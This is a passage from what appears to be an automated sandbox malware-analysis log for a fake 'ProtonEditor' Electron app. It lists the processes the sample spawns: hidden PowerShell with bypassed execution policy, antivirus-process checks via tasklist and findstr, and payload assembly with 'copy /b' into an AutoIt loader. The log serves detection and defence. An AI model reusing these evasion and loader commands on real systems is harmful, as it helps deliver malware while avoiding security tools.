    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe "C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\evfgtisrmbmqfiex" --mojo-platform-channel-handle=2120 --field-trial-handle=1836,i,2966728607677488285,16588942018758611239,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe""Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1""Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcpJump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1"
    Source: C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Finally Finally.cmd && Finally.cmd
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 69564
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "custodymatchesfacingzope" Ec
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Flow + ..\Payable + ..\Qualifications + ..\Particular + ..\Generous + ..\Conclusions + ..\Bleeding X
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\69564\Style.com Style.com X
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
    Source: C:\Users\user\AppData\Local\Temp\69564\Style.comProcess created: C:\Users\user\AppData\Local\Temp\69564\Style.com C:\Users\user\AppData\Local\Temp\69564\Style.com
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe "c:\users\user\appdata\local\temp\2pgsv0vlyhhdpvvgytqra5ivwzh\protoneditor.exe" --type=gpu-process --user-data-dir="c:\users\user\appdata\roaming\evfgtisrmbmqfiex" --gpu-preferences=uaaaaaaaaadgaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1832 --field-trial-handle=1836,i,2966728607677488285,16588942018758611239,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe "c:\users\user\appdata\local\temp\2pgsv0vlyhhdpvvgytqra5ivwzh\protoneditor.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\evfgtisrmbmqfiex" --mojo-platform-channel-handle=2120 --field-trial-handle=1836,i,2966728607677488285,16588942018758611239,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe "c:\users\user\appdata\local\temp\2pgsv0vlyhhdpvvgytqra5ivwzh\protoneditor.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="c:\users\user\appdata\roaming\evfgtisrmbmqfiex" --gpu-preferences=uaaaaaaaaadoaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaacqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1104 --field-trial-handle=1836,i,2966728607677488285,16588942018758611239,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe "c:\users\user\appdata\local\temp\2pgsv0vlyhhdpvvgytqra5ivwzh\protoneditor.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\evfgtisrmbmqfiex" --mojo-platform-channel-handle=2120 --field-trial-handle=1836,i,2966728607677488285,16588942018758611239,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8Jump to behavior
    Source: Ec.59.drBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: ..\..\electron\shell\browser\ui\views\electron_views_delegate_win.ccGetAppbarAutohideEdgesShell_TrayWnd
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeQueries volume information: C:\Users VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeQueries volume information: C:\Users\user\AppData\Local\Temp VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\resources VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeQueries volume information: C:\Windows\System32\spool\drivers\color\sRGB Color Space Profile.icm VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeQueries volume information: C:\Users\user\AppData\Local\Temp\TkdJL99r8cyESymftx VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeQueries volume information: C:\Users\user\AppData\Local\Temp\TkdJL99r8cyESymftx VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeQueries volume information: C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeQueries volume information: C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeQueries volume information: C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
